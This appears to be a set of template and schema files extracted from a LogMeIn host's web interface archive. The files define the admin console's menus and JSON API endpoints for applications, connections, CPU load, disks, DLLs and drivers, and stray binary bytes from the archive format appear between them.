<?if ACTIONS has "-mbminfo-"	?><?set session DISPLAYPERF="1"?><?endif?>



<?// Do we want to display the SECURITY menu?>

<?if UI != "secrem"?>

	<? //the personal edition interface does not support changing the Windows password ?>

	<?if ACTIONS has "-pwdchg-"		?><?set session DISPLAYSEC="1"?><?endif?>

<?endif?>

<?if ACTIONS has "-cfgperm-"	?><?set session DISPLAYSEC="1"?><?endif?>

<?if ACTIONS has "-cfgrsa-"		?><?set session DISPLAYSEC="1"?><?endif?>

<?if ACTIONS has "-lockout-"	?><?set session DISPLAYSEC="1"?><?endif?>

<?if ACTIONS has "-cfgfilter-"	?><?set session DISPLAYSEC="1"?><?endif?>

<?if ACTIONS has "-filefind-"	?><?set session DISPLAYSEC="1"?><?endif?>

<?if ACTIONS has "-sslinfo-"	?><?set session DISPLAYSEC="1"?><?endif?>

<?if ACTIONS has "-websecurity"	?><?set session DISPLAYSEC="1"?><?endif?>



<?// Do we want to display the PREFERENCES menu?>

<?if ACTIONS has "-cfgappearance-"	?><?set session DISPLAYPREFS="1"?><?endif?>

<?if ACTIONS has "-cfgnet-"			?><?set session DISPLAYPREFS="1"?><?endif?>

<?if ACTIONS has "-cfgcolor-"		?><?set session DISPLAYPREFS="1"?><?endif?>

<?if ACTIONS has "-cfglog-"			?><?set session DISPLAYPREFS="1"?><?endif?>

<?if ACTIONS has "-cfglicense-"		?><?set session DISPLAYPREFS="1"?><?endif?>

<?if ACTIONS has "-cfgremctrl-"		?><?set session DISPLAYPREFS="1"?><?endif?>

<?if ACTIONS has "-cfgtelnet-"		?><?set session DISPLAYPREFS="1"?><?endif?>

<?if ACTIONS has "-cfgssh-"			?><?set session DISPLAYPREFS="1"?><?endif?>

<?if ACTIONS has "-ralist-"			?><?set session DISPLAYPREFS="1"?><?endif?>

<?if ACTIONS has "-cfgodbc-"		?><?set session DISPLAYPREFS="1"?><?endif?>



<?// Do we want to display the UI switching menu option?>

<?if BRAND.LOGMEIN.IT?>

	<?if not FORCEUI?>

		<?set session DISPLAYCHGUI="1"?>

	<?endif?>

<?endif?>

Ѯm"api\menu_full.inc3Ɵ<?ratmpl?><?
	nocache

	action "actions"
	include "/api/menuitems.inc"

?>"menu": [
<?if USE.DASHBOARD and not BRAND.LOGMEIN.FREE?>
	{"parent": null, "menu": "dashboard", "action": true, "titleId": "MSG.MENU.DASHBOARD"}, 
<?elseif BRAND.LOGMEIN.FREE?>
	{"parent": null, "menu": "lmihome", "action": true, "titleId": "MSG.MENU.LMISTART.HOME"}, 
<?elseif not ISMAC?>
	{"parent": null, "menu": "info", "action": true, "titleId": "MSG.MENU.HOME"}, 
<?endif?>

<?if ACTIONS has "-remctrl-"?>{"parent": null, "menu": "remctrl", "action": true, "titleId": "MSG.REMCTRL.TITLE"}, 
  <?if not BRAND.LOGMEIN.FREE?>
    <?if ACTIONS has "-activex-"?>{"parent": "remctrl", "menu": "remctrl_activex", "action": true, "title": "ActiveX"}, <?endif?>
    <?if USE.MOZPLUGIN?>{"parent": "remctrl", "menu": "remctrl_xpi", "action": true, "title": "Mozilla"}, <?endif?>
    <?if USE.FLASH?>{"parent": "remctrl", "menu": "remctrl_flash", "action": true, "title": "Flash"}, <?endif?>
    {"parent": "remctrl", "menu": "remctrl_java", "action": true, "title": "Java"}, 
    <?if ACTIONS has "-remctrl2-"?>{"parent": "remctrl", "menu": "remctrl2", "action": true, "title": "HTML"}, <?endif?>
  <?endif?>
<?endif?>

<?if ACTIONS has "-filexfer-"?>{"parent": null, "menu": "filexfer", "action": true, "titleId": "MSG.FILEXFER.TITLE"}, 
  <?if ACTIONS has "-activex-"?>{"parent": "filexfer", "menu": "filexfer_activex", "action": true, "title": "ActiveX"}, <?endif?>
  <?if USE.MOZPLUGIN?>{"parent": "filexfer", "menu": "filexfer_xpi", "action": true, "title": "Mozilla"}, <?endif?>
  {"parent": "filexfer", "menu": "filexfer_java", "action": true, "title": "Java"}, 
  <?if ACTIONS has "-filelist-"?>{"parent": "filexfer", "menu": "filelist", "action": true, "title": "HTML"}, <?endif?>
<?endif?>

<?if ACTIONS has "-filesharelist-"?>{"parent": null, "menu": "filesharelist", "action": true, "titleId": "MSG.WEBSVC.SHARE.TITLE"}, <?endif?>
<?if ACTIONS has "-guestinvite-" and not CFG.RemoteControl.AllowInvites = "0"?>{"parent": null, "menu": "guestinvite", "action": true, "titleId": "MSG.RAGUI.GUESTINVITE.START.CAPTION"}, <?endif?>

<?if ACTIONS has "-chat-" and not BRAND.LOGMEIN.FREE?>{"parent": null, "menu": "chat", "action": true, "titleId": "MSG.CHAT.TITLE"}, 
  <?if ACTIONS has "-activex-"?>{"parent": "chat", "menu": "chat_activex", "action": true, "title": "ActiveX"}, <?endif?>
  <?if USE.MOZPLUGIN?>{"parent": "chat", "menu": "chat_xpi", "action": true, "title": "Mozilla"}, <?endif?>
  {"parent": "chat", "menu": "chat_java", "action": true, "title": "Java"}, 
<?endif?>

<?if ACTIONS has "-loadtest-"?>{"parent": null, "menu": "loadtest", "action": true, "title": 'Load tester'}, <?endif?>


<?
	//
	// MANAGE MENU
	//
?>
<?if DISPLAYSYSMGR and not ISMAC and not BRAND.LOGMEIN.FREE?>{"parent": null, "menu": "sysmgr", "action": false, "titleId": "MSG.MENU.SYSMGR"}, 
<?if ACTIONS has "-userlist-"?>{"parent": "sysmgr", "menu": "userlist", "action": true, "titleId": "MSG.ADMIN.USERMANAGER.TITLE"}, <?endif?>
<?if ACTIONS has "-evtinfo-"?>{"parent": "sysmgr", "menu": "evtinfo", "action": true, "titleId": "MSG.ADMIN.EVENTS.TITLE"}, <?endif?>
<?if ACTIONS has "-svcinfo-"?>{"parent": "sysmgr", "menu": "svcinfo_svc", "action": true, "titleId": "MSG.ADMIN.SERVICE.TITLE"}, <?endif?>
<?if ACTIONS has "-procinfo-"?>{"parent": "sysmgr", "menu": "procinfolist", "action": true, "titleId": "MSG.ADMIN.PROCESS.TITLE"}, <?endif?>
<?if ACTIONS has "-svcinfo-"?>{"parent": "sysmgr", "menu": "svcinfo_drv", "action": true, "titleId": "MSG.ADMIN.SERVICE.DRVTITLE"}, <?endif?>
<?if ACTIONS has "-reginfo-"?>{"parent": "sysmgr", "menu": "reginfo", "action": true, "titleId": "MSG.ADMIN.REGISTRY.TITLE"}, <?endif?>
<?if ACTIONS has "-telnet-"?>{"parent": "sysmgr", "menu": "telnet", "action": true, "titleId": "MSG.TELNET.TITLE"}, <?endif?>
<?if ACTIONS has "-restart-"?>{"parent": "sysmgr", "menu": "restart", "action": true, "titleId": "MSG.ADMIN.REBOOT.TITLE"}, <?endif?>
<?if ACTIONS has "-remctrl-"?>{"parent": "sysmgr", "menu": "remctrl_sysmgr", "action": true, "titleId": "MSG.REMCTRL.TITLEVIEWONLY"}, <?endif?>
<?endif?>
<?
	//
	// ADMIN MENU
	//
?>
<?if DISPLAYSYSCFG and not ISMAC ?>{"parent": null, "menu": "admin", "action": false, "titleId": "MSG.MENU.SYSCFG"}, 
<?if ACTIONS has "-envlist-"?>{"parent": "admin", "menu": "envlist", "action": true, "titleId": "MSG.ADMIN.ENVIRON.TITLE"}, <?endif?>
<?if ACTIONS has "-vmeminfo-"?>{"parent": "admin", "menu": "vmeminfo", "action": true, "titleId": "MSG.ADMIN.VMEM.TITLE"}, <?endif?>
<?if ACTIONS has "-timeset-"?>{"parent": "admin", "menu": "timeset", "action": true, "titleId": "MSG.ADMIN.TIME.TITLE"}, <?endif?>
<?if ACTIONS has "-shareinfo-"?>{"parent": "admin", "menu": "shareinfo", "action": true, "titleId": "MSG.ADMIN.SHARE.TITLE"}, <?endif?>
<?if ACTIONS has "-cfgautopri-"?>{"parent": "admin", "menu": "cfgautopri", "action": true, "titleId": "MSG.ADMIN.AUTOPRI.TITLE"}, <?endif?>
<?endif?>
<?
	//
	// SERVER MENU
	//
?>
<?if DISPLAYSERVER?>{"parent": null, "menu": "server", "action": false, "titleId": "MSG.MENU.FUNCTIONS"}, 
<?if ACTIONS has "-ftpserverlist-"?>{"parent": "server", "menu": "ftpserverlist", "action": true, "titleId": "MSG.FTP.CONFIG"}, <?endif?>
<?if ACTIONS has "-ftpconns-"?>{"parent": "server", "menu": "ftpconns", "action": true, "titleId": "MSG.FTP.STATUS"}, <?endif?>
<?if ACTIONS has "-ftpservstats-"?>{"parent": "server", "menu": "ftpservstats", "action": true, "titleId": "MSG.FTP.STATS"}, <?endif?>
<?if ACTIONS has "-cfgpfwd-"?>{"parent": "server", "menu": "cfgpfwd", "action": true, "titleId": "MSG.CONFIG.PORTFWD.TITLE"}, <?endif?>
<?if ACTIONS has "-statpfwd-"?>{"parent": "server", "menu": "statpfwd", "action": true, "titleId": "MSG.CONFIG.PORTFWD.STATUSTITLE"}, <?endif?>
<?if ACTIONS has "-adsinfo-"?>{"parent": "server", "menu": "adsinfo", "action": true, "titleId": "MSG.INFO.ADS.TITLE"}, <?endif?>
<?endif?>
<?
	//
	// SCHEDULE MENU
	//
?>
<?if DISPLAYSCHED?>{"parent": null, "menu": "schedule", "action": false, "titleId": "MSG.MENU.SCHED"}, 
<?if not BRAND.LOGMEIN?>
<?if ACTIONS has "-alertlist-"?>{"parent": "schedule", "menu": "alertlist", "action": true, "titleId": "MSG.ADMIN.ALERTS.TITLE"}, <?endif?>
<?endif?>
<?if ACTIONS has "-websvcalertlist-"?>{"parent": "schedule", "menu": "websvcalertlist", "action": true, "titleId": "MSG.WEBSVCALERT.TITLE"}, <?endif?>
<?if ACTIONS has "-taskinfo-"?>{"parent": "schedule", "menu": "taskinfo", "action": true, "titleId": "MSG.ADMIN.SCHEDULE.TITLE"}, <?endif?>
<?endif?>
<?
	//
	// PERFORMANCE MENU
	//
?>
<?if DISPLAYPERF?>{"parent": null, "menu": "perf", "action": false, "titleId": "MSG.PERF.TITLE"}, 
<?if ACTIONS has "-perfmon-"?>{"parent": "perf", "menu": "perfmon_cpu", "action": true, "titleId": "MSG.PERF.TYPE.CPU"}, <?endif?>
<?if ACTIONS has "-perfmon-"?>{"parent": "perf", "menu": "perfmon_mem", "action": true, "titleId": "MSG.PERF.TYPE.MEM"}, <?endif?>
<?if ACTIONS has "-perfmon-"?>{"parent": "perf", "menu": "perfmon_drv", "action": true, "titleId": "MSG.PERF.TYPE.DRV"}, <?endif?>
<?if ACTIONS has "-hddlist-"?>{"parent": "perf", "menu": "hddlist", "action": true, "titleId": "MSG.INFO.DRIVE.TITLE"}, <?endif?>
<?if ACTIONS has "-portlist-"?>{"parent": "perf", "menu": "portlist", "action": true, "titleId": "MSG.INFO.PORT.TITLE"}, <?endif?>
<?if ACTIONS has "-netlist-"?>{"parent": "perf", "menu": "netlist", "action": true, "titleId": "MSG.INFO.NETINFO.TITLE"}, <?endif?>
<?if ACTIONS has "-objlistfile-"?>{"parent": "perf", "menu": "objlistfile", "action": true, "titleId": "MSG.INFO.FILES.TITLE"}, <?endif?>
<?if ACTIONS has "-objlistreg-"?>{"parent": "perf", "menu": "objlistreg", "action": true, "titleId": "MSG.INFO.REG.TITLE"}, <?endif?>
<?if ACTIONS has "-dlllist-"?>{"parent": "perf", "menu": "dlllist", "action": true, "titleId": "MSG.INFO.DLL.TITLE"}, <?endif?>
<?if ACTIONS has "-perfmon-"?>{"parent": "perf", "menu": "perfmon_connlist", "action": true, "titleId": "MSG.INFO.CONNS.TITLE"}, <?endif?>
<?if ACTIONS has "-telnetconn-"?>{"parent": "perf", "menu": "telnetconn", "action": true, "titleId": "MSG.CONFIG.TELNET.CONNECTIONS"}, <?endif?>
<?if ACTIONS has "-applist-"?>{"parent": "perf", "menu": "applist", "action": true, "titleId": "MSG.INFO.APPS.TITLE"}, <?endif?>
<?if ACTIONS has "-mbminfo-"?>{"parent": "perf", "menu": "mbminfo", "action": true, "titleId": "MSG.PERF.MBOARD.TITLE"}, <?endif?>
<?if ACTIONS has "-perfmon-"?>{"parent": "perf", "menu": "perfmon_drvrlist", "action": true, "titleId": "MSG.INFO.DRIVERLIST.TITLE"}, <?endif?>
<?endif?>
<?
	//
	// SECURITY MENU
	//
?>
<?if not BRAND.LOGMEIN and DISPLAYSEC?>{"parent": null, "menu": "secure", "action": false, "titleId": "MSG.MENU.SECURITY"}, 
<?if ACTIONS has "-cfgperm-"?>{"parent": "secure", "menu": "cfgperm", "action": true, "titleId": "MSG.CONFIG.PERMISSIONS.TITLE"}, <?endif?>
<?if ACTIONS has "-cfgrsa-"?>{"parent": "secure", "menu": "cfgrsa_sec", "action": true, "titleId": "MSG.LOGIN.RSA.NAME"}, <?endif?>
<?if ACTIONS has "-lockout-"?>{"parent": "secure", "menu": "lockout", "action": true, "titleId": "MSG.CONFIG.IPLOCKOUT.TITLE"}, <?endif?>
<?if ACTIONS has "-cfgfilter-"?>{"parent": "secure", "menu": "cfgfilter", "action": true, "titleId": "MSG.CONFIG.IPFILTER.TITLE"}, <?endif?>
<?if ACTIONS has "-filefind-"?>{"parent": "secure", "menu": "filefind", "action": true, "titleId": "MSG.INFO.LOGS.TITLE"}, <?endif?>
<?if ACTIONS has "-sslinfo-"?>{"parent": "secure", "menu": "sslinfo", "action": true, "titleId": "MSG.CONFIG.SSL.TITLE"}, <?endif?>
<?if not LOCALSYSTEM?>
<?if ACTIONS has "-pwdchg-"?>{"parent": "secure", "menu": "pwdchg", "action": true, "titleId": "MSG.CHGPWD.TITLE"}, <?endif?>
<?endif?>
<?if ACTIONS has "-websecurity-"?>{"parent": "secure", "menu": "websecurity", "action": true, "titleId": "MSG.WEBSVC.SECURITY.TITLE"}, <?endif?>
<?if ACTIONS has "-cfgppwd-"?>{"parent": "secure", "menu": "cfgppwd", "action": true, "titleId": "MSG.CONFIG.PPWD.TITLE"}, <?endif?>
<?if ACTIONS has "-recent-"?>{"parent": "secure", "menu": "recent", "action": true, "titleId": "MSG.INFO.CONNS.RECENT"}, <?endif?>
<?endif?>
<?
	//
	// PREFERENCES MENU
	//
?>
<?if not BRAND.LOGMEIN and DISPLAYPREFS?>{"parent": null, "menu": "pref", "action": false, "titleId": "MSG.MENU.PREFER"}, 
<?if ACTIONS has "-cfgappearance-"?>{"parent": "pref", "menu": "cfgappearance", "action": true, "titleId": "MSG.CONFIG.APPEARANCE.TITLE"}, <?endif?>
<?if ACTIONS has "-cfgnet-"?>{"parent": "pref", "menu": "cfgnet", "action": true, "titleId": "MSG.CONFIG.NET.TITLE"}, <?endif?>
<?if ACTIONS has "-cfglog-"?>{"parent": "pref", "menu": "cfglog", "action": true, "titleId": "MSG.CONFIG.LOG.TITLE"}, <?endif?>
<?if ACTIONS has "-cfgodbc-"?>{"parent": "pref", "menu": "cfgodbc", "action": true, "titleId": "MSG.CONFIG.ODBC.TITLE"}, <?endif?>
<?if ACTIONS has "-cfglicense-"?>{"parent": "pref", "menu": "cfglicense", "action": true, "titleId": "MSG.CONFIG.LICENSE.TITLE"}, <?endif?>
<?if ACTIONS has "-cfgremctrl-"?>{"parent": "pref", "menu": "cfgremctrl", "action": true, "titleId": "MSG.CONFIG.REMCTRL.TITLE"}, <?endif?>
<?if ACTIONS has "-cfgtelnet-"?>{"parent": "pref", "menu": "cfgtelnet", "action": true, "titleId": "MSG.CONFIG.TELNET.TITLE"}, <?endif?>
<?if ACTIONS has "-cfgssh-"?>{"parent": "pref", "menu": "cfgssh", "action": true, "titleId": "MSG.CONFIG.SSH.TITLE"}, <?endif?>
<?if ACTIONS has "-ralist-"?>{"parent": "pref", "menu": "ralist", "action": true, "titleId": "MSG.CONFIG.NETMAINT.TITLE"}, <?endif?>
<?if ACTIONS has "-cfgadvanced-"?>{"parent": "pref", "menu": "cfgadvanced", "action": true, "titleId": "MSG.CONFIG.ADVANCED.TITLE"}, <?endif?>
<?endif?>
<?if BRAND.LOGMEIN and not BRAND.LOGMEIN.FREE?>
<?if DISPLAYPREFS or DISPLAYSEC?>{"parent": null, "menu": "pref", "action": false, "titleId": "MSG.MENU.PREFER"}, 
<?if DISPLAYPREFS?>{"parent": "pref", "menu": "prefgeneral", "action": true, "titleId": "MSG.CONFIG.TOOLKIT.GENERAL.TITLE"}, <?endif?>
<?if DISPLAYSEC?>{"parent": "pref", "menu": "prefsecurity", "action": true, "titleId": "MSG.CONFIG.TOOLKIT.SECURITY.TITLE"}, <?endif?>
<?if DISPLAYPREFS?>{"parent": "pref", "menu": "prefadvanced", "action": true, "titleId": "MSG.CONFIG.TOOLKIT.ADVANCED.TITLE"}, <?endif?>
<?endif?>
<?if ACTIONS has "-cfgrsa-"?>{"parent": "null", "menu": "cfgrsa_pref", "action": true, "titleId": "MSG.LOGIN.RSA.NAME"}, <?endif?>
<?endif?>
<?if BRAND.LOGMEIN.FREE?>
{"parent": null, "menu": "lmipref", "action": true, "titleId": "MSG.MENU.PREFER"}, 
<?endif?>
<?
	//
	// Bottom menu items
	//
?>
<?if not BRAND.LOGMEIN?>{"parent": null, "menu": "info_about", "action": true, "titleId": "MSG.INFO.ABOUT.TITLE"}, <?endif?>
<?if ACTIONS has "-cfgappearance-" or CFG.CustomPages.Directory?><?if not BRAND.LOGMEIN?>{"parent": null, "menu": "custom", "action": true, "titleId": "MSG.CONFIG.CUSTPAGES.TITLE"}, <?endif?><?endif?>
<?if ACTIONS has "-htmail-"?>{"parent": null, "menu": "email", "action": true, "titleId": "MSG.HTMAIL.TITLE"}, <?endif?>
<?if BRAND.LOGMEIN?>{"parent": null, "menu": "help", "action": true, "titleId": "MSG.DASH.HELP"}, <?endif?>
{"parent": null, "menu": "disconnect", "action": true, "titleId": "MSG.MENU.LMI.DISCONNECT"} ]
* api\menu_lmi.inc<?ratmpl?><?
	nocache

	action "actions"
	include "/api/menuitems.inc"

?>"menu": [
		{"parent": null, "menu": "lmihome", "action": true, "titleId": "MSG.MENU.LMISTART.HOME"}, 
<?if ACTIONS has "-remctrl-"?>
		{"parent": null, "menu": "remctrl", "action": true, "titleId": "MSG.REMCTRL.TITLE"},
<?endif?>
<?if ACTIONS has "-filexfer-"?>
		{"parent": null, "menu": "filexfer", "action": true, "titleId": "MSG.FILEXFER.TITLE"},
<?endif?>
<?if ACTIONS has "-guestinvite-" and not CFG.RemoteControl.AllowInvites = "0"?>
		{"parent": null, "menu": "guestinvite", "action": true, "titleId": "MSG.RAGUI.GUESTINVITE.START.CAPTION"},
<?endif?>
<?if ACTIONS has "-filesharelist-"?>
		{"parent": null, "menu": "filesharelist", "action": true, "titleId": "MSG.WEBSVC.SHARE.TITLE"},
<?endif?>
<?if DISPLAYPREFS or DISPLAYSEC?>
		{"parent": null, "menu": "lmipref", "action": true, "titleId": "MSG.MENU.LMI.PREFER"}, 
<?endif?><?

	//
	// Bottom menu items
	//

?><?if BRAND.LOGMEIN?>
		{"parent": null, "menu": "help", "action": true, "titleId": "MSG.MENU.LMI.HELP"},
<?endif?>
		{"parent": null, "menu": "disconnect", "action": true, "titleId": "MSG.MENU.LMI.DISCONNECT"}
],api\perfinfo\apps.json;<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	action "applist"
	
	usemacro ERRORHANDLER()

?>{"result": {
	"applications": {
		"schema": {
			"fields": [			    
				{"name": "size", "type": "string"},
				{"name": "date", "type": "string"},
				{"name": "src", "type": "string"},
				{"name": "regFirm", "type": "string"},   
				{"name": "regUser", "type": "string"},
				{"name": "comment", "type": "string"},
				{"name": "readme", "type": "string"},
				{"name": "urlHelp", "type": "string"},
				{"name": "urlUpdate", "type": "string"},
				{"name": "uninst", "type": "string"},
				{"name": "uninstq", "type": "string"},
				{"name": "lastused", "type": "string"},				
				{"name": "icon", "type": "string"},
				{"name": "name", "type": "string"},			
				{"name": "publisher", "type": "string"},
				{"name": "urlAbout", "type": "string"},
				{"name": "version", "type": "string"},				
				{"name": "dir", "type": "string"},
				{"name": "freq", "type": "string"}
			]			
		},
		"data": [
			<? set firstItem = "1"
			enum APPS
				if firstItem == "1"
					set firstItem = "0"
				?>
				<?else?>, 
				<? endif ?>
					{					    
						"size": <?if APP.SIZE?>"<?$APP.SIZE_szx?>",<?else?>"",<?endif?>
						"date": "#APP.DATE#", 
						"src": "#APP.SRC#", 
						"regFirm": "#APP.REG.FIRM#",
						"regUser": "#APP.REG.USER#", 
						"comment": "#APP.COMMENT#", 
						"readme": "#APP.README#", 
						"urlHelp": "#APP.URL.HELP#", 
						"urlUpdate": "#APP.URL.UPDATE#",
						"uninst": "#APP.UNINST#", 
						"uninstq": "#APP.UNINSTQ#", 
						"lastused": "#APP.LASTUSED#", 
						"icon": "#APP.ICON#",
						"name": "#APP.NAME#", 
						"publisher": "#APP.PUBLISHER#", 
						"urlAbout": "#APP.URL.ABOUT#", 
						"version": "#APP.VERSION#",
						"dir": "#APP.DIR#", 
						"freq": "#APP.FREQ#" 
					}
			<? next	?>
		]
	}
},
"lang":{}
}
RZ.api\perfinfo\conns.jsonN&<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	action "rainfo"
	
	usemacro ERRORHANDLER()
	
?>{"result": {
	"connections": {
		"schema": {
			"fields": [
				{"name": "host", "type": "string"},
				{"name": "user", "type": "string"},
				{"name": "type", "type": "string"},
				{"name": "openedSince", "type": "string"},
				{"name": "dataTXIn", "type": "integer"},
				{"name": "dataTXOut", "type": "integer"}
			]
		},
		"data": [
			<?				
				set EVFI="1"
				enum CONNS
					if EVFI=="1"
						set EVFI="0"
						?>
			<?		else
						?>, 
			<?		endif
			?>			{"host": "$CONN.HOST$", "user": "$CONN.USER$", "type": "$CONN.TYPE$", "openedSince": "<?$CONN.TIMEC_for?>",
							"dataTXIn": <?if CONN.OCTRCVD > 0 ?>$CONN.OCTRCVD$<?else?>0<?endif?>, "dataTXOut": <?if CONN.OCTSENT>0 ?>$CONN.OCTSENT$<?else?>0<?endif?>}<?
				next
			?>
		]
	}
},
"lang":{}
}
2@2api\perfinfo\cpuload.json<M<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?include "/api/perfinfo/perf.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()

	if not REQ.TYPE
		set TYPE = "cpu"
	else 
		set TYPE = REQ.TYPE
	endif
	
	if not REQ.INDEX
		set INDEX = -1
	else 
		set INDEX = REQ.INDEX
	endif

?>{"result": {

	"cpuload": [
		<?usemacro PERF(TYPE,INDEX,0)?>,
		<?usemacro PERF(TYPE,INDEX,1)?>,
		<?usemacro PERF(TYPE,INDEX,2)?>,
		<?usemacro PERF(TYPE,INDEX,3)?>			
	]
	
},
"lang":{}
}>6api\perfinfo\cpuload.schema{ 
    "result": {
        
        "cpuload": {            
            "_type": "array",                
            "_element": {                    
                "stat": {                        
		             "freq": { "_type": "string" },
		             "min":  { "_type": "number" },
		             "max":  { "_type": "number" },
		             "avg":  { "_type": "number" },
		             "unit": { "_type": "string" }
                },
                "graph": {
                    "_type": "array", "_notempty": true,
                    "_element": {
                        "line": { "_type": "number" },
                        "data": { "_type": "number" },
                        "time": { "_type": "string" }                                
                    }                        
                }
            }
        }
        
    },
    
    "lang": {}
}
Go,api\perfinfo\cpus.jsonl7<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?include "/api/perfinfo/perf.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()

?>{"result": {

	"cpus": [	   
	    <?action "perfmon" REQ.TYPE = "cpu"
	    usemacro ERRORHANDLER()
	    usemacro CommaInit()
		if CPUS > 0
			enum CPUS
				usemacro CommaDo()?>
				{"index":<?usemacro NUMBER(CPU.INDEX)?>, "name":"#CPU.NAME#"}
			<?next
		endif?>		
	],
	
	"procs": [		    
		<?action "perfmon" REQ.TYPE = "cpubypid"	
		usemacro ERRORHANDLER()
					
		if PROCS > 0
			usemacro CommaInit()
			enum PROCS
				usemacro CommaDo()?>
					{					    
						"id": <?usemacro NUMBER(PROC.ID)?>,
						"path": "#PROC.PATH#", 
						"time": <?usemacro FORMAT.SPN(PROC.TIME)?>, 
						"timePercent": "#PROC.TIMEP#%" 
					}
			<?next	
		endif?>
	]
	
},
"lang":{}
}C+0api\perfinfo\cpus.schema嬢{ 
    "result": {
        
        "cpus": {
            "_type": "array",
            "_element": {                    
                "index": { "_type": "number" },
                "name":  { "_type": "string" }
            }                                
        },
        "procs": {
            "_type": "array", "_notempty": true,                
            "_element": {                    
				"id": { "_type": "number" },
				"path": { "_type": "string" },
				"time": { "_type": "string" },
				"timePercent": { "_type": "string" }
            }                                
        }
        
    },
    
    "lang": {}
}
횿.api\perfinfo\disks.json&Ԣ<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()

	action "perfmon" REQ.TYPE="drv"		
	usemacro ERRORHANDLER()

?>{"result": {

	"disks": [	   
	    <?if DRIVES > 0
	    	usemacro CommaInit()
			enum DRIVES
				usemacro CommaDo()?>
				{"index":<?usemacro NUMBER(DRIVE.INDEX)?>, "name":"#DRIVE.NAME#"}
			<?next
		endif?>		
	]
	
},
"lang":{}
}S2api\perfinfo\disks.schemaj-{ 
    "result": {
        
        "disks": {
            "_type": "array", "_notempty": true,                
            "_element": {                    
                "index": { "_type": "number" },
                "name":  { "_type": "string" }
            }                                
        }
        
    },
    
    "lang": {}
}
$t6api\perfinfo\diskspace.jsonYI<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?include "/api/perfinfo/perf.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()

	if not REQ.TYPE
		set TYPE = "drv"
	else 
		set TYPE = REQ.TYPE
	endif
	
	if not REQ.INDEX
		set INDEX = -1
	else 
		set INDEX = REQ.INDEX
	endif

	action "perfmon" REQ.TYPE="drv"		
	usemacro ERRORHANDLER()

?>{"result": {

	"diskspace": [
		<?usemacro PERF(TYPE,INDEX,0)?>,
		<?usemacro PERF(TYPE,INDEX,1)?>,
		<?usemacro PERF(TYPE,INDEX,2)?>,
		<?usemacro PERF(TYPE,INDEX,3)?>			
	]
	
},
"lang":{}
}`r:api\perfinfo\diskspace.schemaS{ 
    "result": {
        
        "diskspace": {            
            "_type": "array",                
            "_element": {                    
                "stat": {                        
	                 "freq": { "_type": "string" },
	                 "min":  { "_type": "number" },
	                 "max":  { "_type": "number" },
	                 "avg":  { "_type": "number" },
	                 "unit": { "_type": "string" }
                },
                "graph": {
                    "_type": "array", "_notempty": true,
                    "_element": {
                        "line": { "_type": "number" },
                        "data": { "_type": "number" },
                        "time": { "_type": "string" }                                
                    }                        
                }
            }
        }
    },
    
    "lang": {}
}
B),api\perfinfo\dlls.jsonT<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// Default values until we figure out how to save this on the server
	if not REQ.IDX
		set REQ.IDX = "0"
	endif
	
	if not REQ.CNT
		set REQ.CNT = "10"
	endif
	
	// Call the action, we expect that it will return the list of dll-s
	action "dlllist" REQ.MERGE = "1"
	
	// Handle errors if the action failed
	usemacro ERRORHANDLER()
	
	// Now write out the data
	?> 
{"result": {

	"dlls": {
		"schema": {
			"fields": [			    
				{"name": "name", "type": "string"},
				{"name": "procname", "type": "string"},
				{"name": "procid", "type": "string"}
			]			
		},
		"data": [<?
			if DLLS			
				usemacro CommaInit()
				enum DLLS 
				usemacro CommaDo() ?>
					{				
						"name": "#DLL.PATH#",
						"procname": "#PROC.NAME#",
						"procid": "#PROC.ID#"
					}
				<? next	
			endif ?>							
		]
	},

	"pageinfo": {
		"schema": {
			"fields": [			    
				{"name": "count", "type": "string"},
				{"name": "home", "type": "string"},
				{"name": "prev", "type": "string"},
				{"name": "next", "type": "string"},
				{"name": "last", "type": "string"},
				{"name": "current", "type": "string"}
			]			
		},
		"data": [
			{				
				"count": "#PAGE.COUNT#",
				"home": "#PAGE.HOME#",
				"prev": "#PAGE.PREV#",
				"next": "#PAGE.NEXT#",
				"last": "#PAGE.LAST#",
				"current": "#PAGE.CURRENT#"
			}
		]
	},
	
	"pages": {
		"schema": {
			"fields": [			    
				{"name": "idx", "type": "number"},
				{"name": "num", "type": "number"},
				{"name": "str", "type": "string"}
			]			
		},
		"data": [<?			
			usemacro CommaInit()
			enum PAGES 
				usemacro CommaDo()?>
				{				
					"idx": #PAGE.IDX#,
					"num": #PAGE.NUM#,
					"str": "#PAGE.STR#"
				}
			<? next	?>							
		]
	}
	
},
"lang":{}
}	&V2api\perfinfo\drivers.json`<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	action "driverlist"
	
	usemacro ERRORHANDLER()
	
?>{"result": {
	"drivers": {
		"schema": {
			"fields": [			    
				{"name": "image", "type": "string"},
				{"name": "base", "type": "string"},
				{"name": "file", "type": "string"}
			]			
		},
		"data": [
			<? set firstItem = "1"
			enum DRIVERLIST
				if firstItem == "1"
					set firstItem = "0"
				?>
				<?else?>, 
				<? endif ?>
					{					    
						"image": "#DRIVERLIST.IMAGE#", 
						"base": "#DRIVERLIST.BASE#", 
						"file": "#DRIVERLIST.FILE#"
					}
			<? next	?>
		]
	}
},
"lang":{}
}
k2api\perfinfo\drvinfo.jsonZ<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()

	action "hddlist"	
	usemacro ERRORHANDLER()

?>{"result": {

	"drives": {
		"schema": {
			"fields": [			    
				{"name": "number", "type": "number"},
				{"name": "caption", "type": "string"},
				{"name": "scsi_bus", "type": "number"},
